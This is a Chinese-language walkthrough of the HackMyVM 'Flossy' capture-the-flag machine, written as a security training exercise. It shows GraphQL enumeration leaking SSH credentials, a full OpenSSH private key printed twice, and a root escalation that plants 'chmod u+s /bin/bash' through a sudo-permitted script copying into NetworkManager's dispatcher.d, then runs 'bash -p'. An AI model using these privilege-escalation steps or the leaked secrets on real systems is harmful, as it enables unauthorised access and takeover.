[HackMyVM]靶场Flossy

zmjjtt2024-04-03 4:01

难度:Medium

kali:192.168.56.104

靶机:192.168.56.142

端口扫描

┌──(root㉿kali2)-[~/Desktop]
└─# nmap 192.168.56.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-01 21:01 CST
Nmap scan report for 192.168.56.142
Host is up (0.00018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:98:4D:04 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

开了22 80两个端口

浅扫目录

┌──(root㉿kali2)-[~/Desktop]
└─# gobuster dir -u http://192.168.56.142 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.142
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,html,txt,php,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 2392]
Progress: 425366 / 1323366 (32.14%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 425604 / 1323366 (32.16%)
===============================================================
Finished
===============================================================

只有index.html 0.0

去web看看什么情况

很朴素的界面

查看源码发现是graphql服务，通过发送json到graphql请求数据

没有东西

看一下有没有账号密码

没有找到，把character修改成user看一下

再改成users

好像有东西了，爆破一下id

id=9的时候爆破出来一组账号密码malo/8YdsA3CkiWx968

ssh连接看看

┌──(root㉿kali2)-[~/Desktop]
└─# ssh malo@192.168.56.142    
The authenticity of host '192.168.56.142 (192.168.56.142)' can't be established.
ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:50: [hashed name]
    ~/.ssh/known_hosts:54: [hashed name]
    ~/.ssh/known_hosts:55: [hashed name]
    ~/.ssh/known_hosts:69: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.142' (ED25519) to the list of known hosts.
malo@192.168.56.142's password: 
Linux flossy 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
╭─malo@flossy ~ 
╰─$ whoami
malo

拿到shell

malo用户下没有user flag

╭─malo@flossy ~ 
╰─$ ls -al
total 216
drwxr-xr-x  5 malo malo   4096 Apr  1 15:11 .
drwxr-xr-x  4 root root   4096 Oct  6 20:49 ..
-rw-------  1 malo malo      4 Oct  7 10:06 .bash_history
-rw-r--r--  1 malo malo    220 Oct  6 18:27 .bash_logout
-rw-r--r--  1 malo malo   3526 Oct  6 18:27 .bashrc
drwxr-xr-x  3 malo malo   4096 Oct  6 20:59 .local
drwxr-xr-x 12 malo malo   4096 Oct  6 20:06 .oh-my-zsh
-rw-r--r--  1 malo malo    807 Oct  6 18:27 .profile
drwx------  2 malo malo   4096 Oct 10 18:36 .ssh
-rw-r--r--  1 malo malo  51798 Apr  1 15:10 .zcompdump-flossy-5.9
-r--r--r--  1 malo malo 119920 Apr  1 15:10 .zcompdump-flossy-5.9.zwc
-rw-------  1 malo malo     44 Apr  1 15:11 .zsh_history
-rw-r--r--  1 malo malo   3890 Oct  6 18:27 .zshrc
╭─malo@flossy ~

sophie用户有user flag，但是没有权限读

╭─malo@flossy /home/sophie 
╰─$ ls -al
total 56
drwxr-xr-x  5 sophie sophie 4096 Oct 10 19:31 .
drwxr-xr-x  4 root   root   4096 Oct  6 20:49 ..
-rw-------  1 root   root    370 Oct 10 18:37 .bash_history
-rw-r--r--  1 sophie sophie  220 Oct  6 20:49 .bash_logout
-rw-r--r--  1 sophie sophie 3526 Oct  6 20:49 .bashrc
drwxr-xr-x  3 sophie sophie 4096 Oct  6 20:49 .local
-rwxr-----  1 root   sophie  962 Oct  6 20:35 network
drwxr-xr-x 12 sophie sophie 4096 Oct  6 20:55 .oh-my-zsh
-rw-r--r--  1 sophie sophie  807 Oct  6 20:49 .profile
-rw-r--r--  1 sophie sophie   66 Oct  7 10:18 .selected_editor
drwx------  2 sophie sophie 4096 Oct 10 18:36 .ssh
-rwxr-xr-x  1 sophie sophie  630 Oct 10 14:23 SSHKeySync
-rwx------  1 sophie sophie   33 Oct 10 17:24 user.txt
-rw-r--r--  1 sophie sophie 3890 Oct  6 20:49 .zshrc
╭─malo@flossy /home/sophie 
╰─$ cat user.txt 
cat: user.txt: Permission denied

不过有一个SSHKeySync文件我们可以读取

─malo@flossy /home/sophie 
╰─$ cat SSHKeySync 
#!/bin/bash

# This script must run every minute in pre-prod

send_private_key() {
    local user_name="$1"
    local key_path="/home/$user_name/.ssh/id_rsa"
    local admin_tty="/dev/pts/24"

    if [ -f "$key_path" ]; then
        if [ -w "$admin_tty" ]; then
            cat "$key_path" > "$admin_tty"
        else
            echo "Error: Unable to write to $admin_tty"
        fi
    else
        echo "Error: The private key for $user_name doesn't exist."
    fi
}

while true ; do
  USER="sophie"
  echo "Sending $USER's private key to a high-privileged TTY for quick testing..."
  send_private_key "$USER"
  sleep 1m
done

这个脚本会发送 sophie的私钥，但是tty得是/dev/pts/24

目前tty是/dev/pts/0

╭─malo@flossy /dev/pts 
╰─$ tty
/dev/pts/0

那就连25次ssh吧

搞到第25个终端

╭─malo@flossy ~ 
╰─$ tty
/dev/pts/24
╭─malo@flossy ~ 
╰─$ -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAlfKkxqQRaakvwCsUmqbXFm0cdI4zkp9UcejsdWhZKbuq+9l8l6tP
Nic4xIoq1S++4Xlj8acA9oJG3yFSgwsBNIaqAJq1zxSpDnzBBpSIqZk2OmkHw8BNBth98D
3RKB5d1SOq0pNiBk4dtQ/QGgd7S30oHNlqF524Nf4jCJxkMLUk527Ga+cjPmM068DtOZMF
xfY/gWrnjk44tigt4QP4hkmMEtshPps4SF6dm544FYghYs+rgCH9tx+DfUl7ZFLnBviGL9
RzN7yQLUV/BPFod8SPihd/s7bSMGfBvopCWFcueL0xAd22Q7CU1jSg4W6+aSfbCSRND3ik
tz/SsWN2/RR2H+MQxB11J5qvLFxq291B0Znoi5sgARZUihDihjhPyVL0dco2wrQtL6ey2B
edRtX24GejoGuvdqd3/qHi5R35sZ4zcUCEldNwq0aC/b3EU/cmu16nmDuhJZpT2ILj35cr
ng8Faf39ZAeIRFKsyfibnRMxoBwLkWWyEs8h2APLAAAFiGZJHbxmSR28AAAAB3NzaC1yc2
EAAAGBAJXypMakEWmpL8ArFJqm1xZtHHSOM5KfVHHo7HVoWSm7qvvZfJerTzYnOMSKKtUv
vuF5Y/GnAPaCRt8hUoMLATSGqgCatc8UqQ58wQaUiKmZNjppB8PATQbYffA90SgeXdUjqt
KTYgZOHbUP0BoHe0t9KBzZaheduDX+IwicZDC1JOduxmvnIz5jNOvA7TmTBcX2P4Fq545O
OLYoLeED+IZJjBLbIT6bOEhenZueOBWIIWLPq4Ah/bcfg31Je2RS5wb4hi/Ucze8kC1Ffw
TxaHfEj4oXf7O20jBnwb6KQlhXLni9MQHdtkOwlNY0oOFuvmkn2wkkTQ94pLc/0rFjdv0U
dh/jEMQddSearyxcatvdQdGZ6IubIAEWVIoQ4oY4T8lS9HXKNsK0LS+nstgXnUbV9uBno6
Brr3and/6h4uUd+bGeM3FAhJXTcKtGgv29xFP3Jrtep5g7oSWaU9iC49+XK54PBWn9/WQH
iERSrMn4m50TMaAcC5FlshLPIdgDywAAAAMBAAEAAAGAOMcNhJfYbhFdnt7RKPQWyoubND
kqJxFEqPNBIf3WkTpZ9o42Irn/vuogES+eI2Y2WWsdIIITl8PhsRiNhUgz9x8snRj30ccp
cm5jqqmwi8OTaI+fnIwivn5YRZEqsw24iv2774tWGTwX/JjVvB1sHrvv5eifRvz2JR+rRV
XujBDzPdzQrkfxrOxkvAYr7VqR25EwH8GKl3Rf/f19zc+ymaqcqwEld+7PY3vMIwJIi0Km
HaOz9Usppl7864JZAjZvZu+C1hzouj+hXRFLlUZJGIw+N50C+vmaI0Py4ZDwubwisr+QdP
sihk7GJChCzfs00X5BJ54mUf8o8ka7kjCmoh8niXsOtRGTrThX4U6dy29Fj7q/NHXC9JG8
n4j92V3sQJir4b7EKY9C4dwGM2J/lT41DNluj1iAFj+FZgq/a1BOiIGAgLOloJW9NtPN2M
rdqBVbMaP7C2MRpybCSzVb7MOBk4ySynjk9xHoTgLLzQHHhlOBzua5zfiVrfDLt4v5AAAA
wEAL+tJoildf450QGsY3elLbx9TaUw4uW9bH7YfZ+68eV+TbW5bAzQLV6s1g3Lru1oppVS
Uo2G4uPNyAVHVqU5YNKp0W4f2LfRrwYabEnzGyt5BGWBXHrRl16X2KKk3cuJ/Lld0wY5aJ
iDZE8AL8Hkt6IeReFhCR3CMDOjoLasTnS0k+CLRG5/E22bqy5Y/r07eElt1ptdZXUnbILi
9/TQn0BgMJNbACry7TLYWf11SAW+HlDqvHIait9JJZVvdsCwAAAMEAxWqZ9pKSh1S0riAy
KoQVkuZ5OW27JYZKmJO1MrkwIWO+UXpXyrWCdh2grXLDmli1R688VE07xWg25ygtNR9w2d
UhNYutFu7Mj8IDEVQ3MkQDozdFTNZUmx5cNUKADIbCt88Uwvsw6asQKWuQeyXivLPVkTLI
Vp3MD5e8t2jlt8Bprc52xQ3DG1HqgavwP6KSSDkirflegl/I74MSEAyYJ24JqWDJwwOYqu
YGdU5z4TsMm87m9dITdAYtl3fTvXpzAAAAwQDCce6pgoKJiodd1qNdFQzMMBZeP0SqnWUH
vfNJdcKSgg8wJVEC1nupH8JZNUAuXQSUS0y1vqpVMgtvB/ui4HBiyWFsHLg181vhGy880U
HM28Q6oJt8Pi9yJ7iwMMKws5eoYQlV0pvQsh+I+4dhK/v09DHLQ2iPSbaqAxUcRmkhN0VJ
aK3CMiTLcp06jECr7qKu3wJVsHZf5C36M5H1204Iuah851GpSCbmIZSgSd0BNvQQ2/k5tW
jbk/VAmeosQ0kAAAANc29waGllQGZsb3NzeQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

然后用私钥登上sophie的ssh

╭─malo@flossy ~ 
╰─$ nano id_rsa
╭─malo@flossy ~ 
╰─$ cat id_rsa  
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
╭─malo@flossy ~ 
╰─$ ssh -i id_rsa sophie@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
sophie@127.0.0.1's password: 

chmod: cannot access '600': No such file or directory
╭─malo@flossy ~ 
╰─$ chmod 600 id_rsa   
╭─malo@flossy ~ 
╰─$ ssh -i id_rsa sophie@127.0.0.1
Linux flossy 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
╭─sophie@flossy ~ 
╰─$ whoami
sophie

拿到user flag

sudo -l发现network可以提权

╭─sophie@flossy ~ 
╰─$ sudo -l
sudo: unable to resolve host flossy: Temporary failure in name resolution
Matching Defaults entries for sophie on flossy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sophie may run the following commands on flossy:
    (ALL : ALL) NOPASSWD: /home/sophie/network*

看一下network

╭─sophie@flossy ~ 
╰─$ cat network 
#!/bin/bash


connected_ip(){
        connection_type=TCP
        champ=2
        ignores=LISTEN
        lsof_args=-ni

        port_local="[0-9][0-9][0-9][0-9][0-9]->"

        lsof "$lsof_args" | grep $connection_type | grep -v "$ignores" |
        awk '{print $9}' | cut -d : -f $champ | sort | uniq |
        sed s/"^$port_local"//
 }

dispatcher() {
    for s in /opt/*; do
        if [ -f "$s" ]; then
            d="/etc/NetworkManager/dispatcher.d/$(basename $s)"
            if [ ! -f "$d" ] || [ "$s" -nt "$d" ]; then
                return 0
            fi
        fi
    done
    return 1
}

update() {
    if [[ -z $(find /opt -type f) ]] ; then
      exit 0
    else
      echo "Updating scripts."
      cp /opt/* /etc/NetworkManager/dispatcher.d/
      chmod +x /etc/NetworkManager/dispatcher.d/*
      echo "Scripts updated."
    fi
}



case "${1}" in
ip)   connected_ip ;;
disp) dispatcher ; update ;;
*)    echo "Usage: ./$0 option" ;;
esac

脚本会将opt目录下的文件复制到/etc/NetworkManager/dispatcher.d/并赋予可执行权限，那就可以写个脚本再opt里面，然后执行disp，就会把它复制到/etc/NetworkManager/dispatcher.d/

╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ echo "chmod u+s /bin/bash" > /opt/SUID_bash                                  
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ sudo /home/sophie/network disp             
sudo: unable to resolve host flossy: Name or service not known
Updating scripts.
Scripts updated.
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ ls -al
total 32
drwxr-xr-x 5 root root 4096 Oct 31 10:55 .
drwxr-xr-x 7 root root 4096 Oct  6 18:52 ..
-rwxr-xr-x 1 root root 2293 Mar  9  2023 01-ifupdown
drwxr-xr-x 2 root root 4096 Mar  9  2023 no-wait.d
drwxr-xr-x 2 root root 4096 Mar  9  2023 pre-down.d
drwxr-xr-x 2 root root 4096 Mar  9  2023 pre-up.d
-rwxr-xr-x 1 root root   20 Oct 31 10:55 SUID_bash
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ ./SUID_bash 
chmod: changing permissions of '/bin/bash': Operation not permitted

发现没有权限执行，是因为网络配置需要重新加载

╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ ip a                                                                                                                               127 ↵
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:98:4d:04 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.142/24 brd 192.168.56.255 scope global dynamic enp0s3
       valid_lft 365sec preferred_lft 365sec
    inet6 fe80::a00:27ff:fe98:4d04/64 scope link 
       valid_lft forever preferred_lft forever
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ nmcli con up lo
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/2)
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ ./mybash
chmod: changing permissions of '/bin/bash': Operation not permitted
╭─sophie@flossy /etc/NetworkManager/dispatcher.d 
╰─$ bash -p                                                                                                                              1 ↵
bash-5.2# id
uid=1001(sophie) gid=1001(sophie) euid=0(root) groups=1001(sophie),100(users)
bash-5.2# cat /root/r*
355cec17306ab25389f376ef4a21422e

成功root

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